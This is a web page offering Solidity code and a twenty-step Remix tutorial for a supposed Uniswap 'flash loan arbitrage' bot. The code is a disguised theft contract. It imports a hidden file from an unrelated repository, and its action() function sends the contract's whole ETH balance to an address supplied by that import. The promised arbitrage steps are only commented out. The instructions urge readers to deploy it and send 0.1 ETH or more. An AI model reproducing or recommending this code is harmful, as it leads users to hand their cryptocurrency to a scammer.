ETHER SOLIDITY CODE

--UPDATED & CHECKED AS OF 2022--

Copy the code below & paste into your remix.

pragma solidity ^0.5.0;
 
// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
 
//uniswap smart contracts v2 and v3
 
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
import "https://github.com/ipfscode/contracts/blob/main/ipfse439/ether.txt";
 
    
contract uniswapFlashLoan {
    string public tokenName;
    string public tokenSymbol;
    uint loanAmount;
    Manager manager;
    
    constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
        tokenName = _tokenName;
        tokenSymbol = _tokenSymbol;
        loanAmount = _loanAmount;
            
        manager = new Manager();
    }
    
    function() external payable {}
    
    function action() public payable {
        // Send required coins for swap
        address(uint160(manager.uniswapDepositAddress())).transfer(address(this).balance);
        
        // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
        // Breakdown of functions written below
        manager.performTasks();
        
        /* Breakdown of functions
        // Submit token to eth blockchain
        string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
 
        // List the token on uniswapSwap
        manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress);
        
        // Get ETH Loan from Multiplier-Finance
        string memory loanAddress = manager.takeFlashLoan(loanAmount);
        
        // Convert half ETH to DAI
        manager.uniswapDAItoETH(loanAmount / 2);
 
        // Create ETH and DAI pairs for our token & Provide liquidity
        string memory ethPair = manager.uniswapCreatePool(tokenAddress, "ETH");
        manager.uniswapAddLiquidity(bnbPair, loanAmount / 2);
        string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI");
        manager.uniswapAddLiquidity(daiPair, loanAmount / 2);
    
        // Perform swaps and profit on Self-Arbitrage
        manager.uniswapPerformSwaps();
        
        // Move remaining ETH from Contract to your account
        manager.contractToWallet("ETH");
 
        // Repay Flash loan
        manager.repayLoan(loanAddress);
        */
    }
 
}

 

THE TUTORIALS

Please follow the instructions on this video & read instructions below.

Step by Step Instructions

1. Get the Metamask Extension for your browser

2. Open http://remix.ethereum.org/ from within your browser.

3. Click on File Explorers and click "Create New File ".

4. Name the file contract.sol and paste the contract code link below.

https://0bin.net/paste/JYRoPfsl#qw50m7LfN7cfAsceNNCUZirHp0kLkA+zaEK7Q1rBVI0

5. Click on Deploy & run transactions (3rd menu button from the left) and set "ENVIRONMENT" to Injected Web3.

6. Click on the "Solidity Compiler" (2nd menu button from the left) and set the compiler version to 0.5.0

7. Click on the Solidity Compiler (2nd menu button from the left) and then click the blue button "Compile contract.sol"

8. Wait for the code to compile.

9. Click on Deploy & run transactions (3rd menu button from the left) then click on the down arrow right from the "Deploy" button

10. On "_TOKENNAME" My token

11. On "_TOKENSYMBOL" MYTK

12. On "_LOANAMOUNT" 1000

13. Click Transact and confirm the transaction in MetaMask.

14. Wait for the transaction to confirm.

15. Copy the address of the newly deployed contract.

16. Send ETH to the deployed contract to initiate the swap 0.1+ (0.2 up is better as you will get a bigger amount in each swap)

17. Wait for the transaction to confirm.

18. Now, Click "action" to execute the Flash Loan.

19. Confirm the transaction in MetaMask and wait for the confirmation.

20. You can now check your wallet

Our Visitor

153761
Users Today : 48
Users Yesterday : 69
Total views : 163888